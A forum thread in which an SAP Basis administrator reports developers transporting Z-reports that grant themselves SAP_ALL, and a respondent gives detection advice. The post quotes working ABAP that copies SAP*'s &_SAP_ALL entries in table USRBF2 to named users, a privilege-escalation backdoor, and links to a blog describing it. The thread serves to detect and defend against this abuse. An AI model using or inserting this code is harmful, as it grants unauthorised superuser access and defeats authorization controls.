SAP_ALL authorization

[Former Member]

dear experts,

last some days we are as Basis team monitored that, some our abap

programmers getting sap_all authorization in production or quality

system

using non-standart methods. procedure of getting sap_all going like this: they are changes (or adds) any Z (Y) reports in developer system.

after

this using transport system changed program code going to quality and

production system.

starting new transported report user getting temporarily sap_all

authorization.

we have found and deleted this piece of code from report. but we do not

know how to disable this absolutely?

please help us how to restrict codes like this in future.

below you can find piece of this code and link where described this

procedure :

DATA zusrbf2 LIKE usrbf2 OCCURS 0 WITH HEADER LINE.

  DATA: BEGIN OF it OCCURS 0

      ,  uname LIKE sy-uname

      , END OF it.

  CLEAR : it.

  it-uname = 'USER-1'.

  APPEND it.

  it-uname = 'USER-2'.

  APPEND it.

  it-uname = 'USER-3'.

  APPEND it.

  LOOP AT it.

    SELECT *  FROM  usrbf2 CLIENT SPECIFIED

       INTO TABLE zusrbf2

          WHERE mandt = '000'(001)  AND

                bname = 'SAP*'(002) AND

                auth = '&_SAP_ALL'(003).

    IF sy-subrc NE 0.

      EXIT.

    ENDIF.

    LOOP AT zusrbf2.

      zusrbf2-bname = it-uname.

      MODIFY zusrbf2 INDEX sy-tabix TRANSPORTING bname.

    ENDLOOP.

    INSERT usrbf2 FROM TABLE zusrbf2 ACCEPTING DUPLICATE KEYS.

  ENDLOOP.

(link where this procedure explained with details)

http://zodano.wordpress.com/2009/05/06/sap-secret-skip-sap-authority-check/

thanks in advance

Shahin

[Former Member]

That is very naughty of them, but the code is very ugly. Badly commented and much too long...

You need to consider whether this behaviour is a problem with the fact that the role and user administration SLA delivery does not support the development support requirements, or, whether this is the developers begging to be fired.

Note that if they were creating Z-reports with this authorization instead of transporting, then there is more of this rubbish in the system.

• Use transaction SCI and scan the Z-code for the security variant of statements. Keep an eye out for INSERT REPORT  and GENERATE statements.
• Search table TADIR for objects in the $tmp etc development classes which are not meant to have been generated (like some screens).
• Do a where-used-list from SE11 on the table in the code and also some of the others. Check for other updates.
• Check to see who has S_RFC access to * value or particularly ZAW* or SUT* function groups.

Basically... you will have to get change management back under control before the developers screw up the whole landscape and then only code in production in future...

Cheers,

Julius